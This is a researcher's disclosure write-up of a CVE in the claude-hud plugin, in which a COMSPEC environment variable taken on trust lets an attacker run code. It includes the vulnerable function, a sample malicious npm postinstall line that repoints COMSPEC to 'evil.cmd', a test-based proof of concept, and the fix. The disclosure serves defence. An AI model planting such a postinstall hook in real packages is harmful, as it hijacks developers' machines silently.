I was auditing src/version.ts when I hit this:

let comspecImpl: () => string | undefined = () => process.env.COMSPEC;

No validation. No fallback logic worth trusting. Just the raw environment variable, read and used as the binary path passed to execFile().

That became CVE-2026–47092.

The Setup

claude-hud is a statusline plugin for Claude Code, showing your model, context usage, git branch, and token counts in real time. It has over 20,000 GitHub stars. A lot of developers are running this on every keystroke.

On Windows, when the Claude binary has a .cmd or .bat extension (the default when you install Claude Code via npm), claude-hud needs to invoke cmd.exe to run the version check. Instead of hardcoding the path to cmd.exe, it reads COMSPEC, the Windows environment variable that conventionally points to the command interpreter.

Here's the full vulnerable function:

export function _getClaudeVersionInvocation(
  binaryPath: string,
  platform: NodeJS.Platform = platformImpl(),
  comspec: string | undefined = comspecImpl()
): ClaudeVersionInvocation {
  const ext = path.extname(binaryPath).toLowerCase();
  if (platform === 'win32' && (ext === '.cmd' || ext === '.bat')) {
    return {
      file: comspec || 'cmd.exe',  // this is the problem
      args: ['/d', '/s', '/c', `"${command}"`],
    };
  }
}

The || 'cmd.exe' fallback only fires when COMSPEC is empty or unset. Set it to anything else and the fallback never runs. Your binary executes instead.

Three Conditions, All Met by Default

This fires when:

  1. Platform is win32
  2. Claude binary has .cmd or .bat extension (the npm default)
  3. showClaudeCodeVersion is enabled (the config default)

Standard Windows + npm install + claude-hud. No custom setup needed.

The Attack

Any process that runs before claude-hud can set COMSPEC. On a developer machine that list is long: npm postinstall scripts, .env files, VSCode tasks, shell profiles.

A malicious package postinstall doing this is enough:

"scripts": {
  "postinstall": "setx COMSPEC C:\\Users\\victim\\AppData\\Local\\Temp\\evil.cmd"
}

Now every time the victim opens Claude Code, execFile() runs the attacker's binary with the real cmd.exe argument structure: /d /s /c "claude.cmd --version". The payload executes, chains to the real cmd.exe to suppress errors, and the HUD renders normally. The victim sees nothing.

Proof of Concept

The module exports test setters that let you mock the Windows environment. I used those to verify end-to-end from WSL without a Windows runtime:

_setVersionInvocationEnvForTests(
  () => 'win32',
  () => '/tmp/poc-comspec/evil_cmd.sh'
);
_setResolveClaudeBinaryForTests(() => ({
  path: '/tmp/poc-comspec/fake-claude.cmd',
  mtimeMs: 0
}));
_resetVersionCache();
await getClaudeCodeVersion();
None
None
None
None
None

The Fix

Don't use COMSPEC. Use the canonical path:

const SAFE_CMD = process.env.SystemRoot
  ? path.join(process.env.SystemRoot, 'System32', 'cmd.exe')
  : 'cmd.exe';
return {
  file: SAFE_CMD,
  args: ['/d', '/s', '/c', `"${command}"`],
};

%SystemRoot%\System32\cmd.exe is always right on Windows. It doesn't need to be configurable. Patched in commit 234d9aa.

Disclosure

Private disclosure failed. The email in SECURITY.md (jarrodwttsyt@gmail.com) bounced, the domain doesn't exist. I filed a LinkedIn connection request and eventually opened a public issue as a last resort. CVE-2026-47092 was assigned and the fix shipped shortly after.

If you're a maintainer: check that your security contact email actually works.

CVE: CVE-2026–47092 My CVE portfolio: github.com/KatrielMoses/CVEs

Katriel Moses, Independent Security Researcher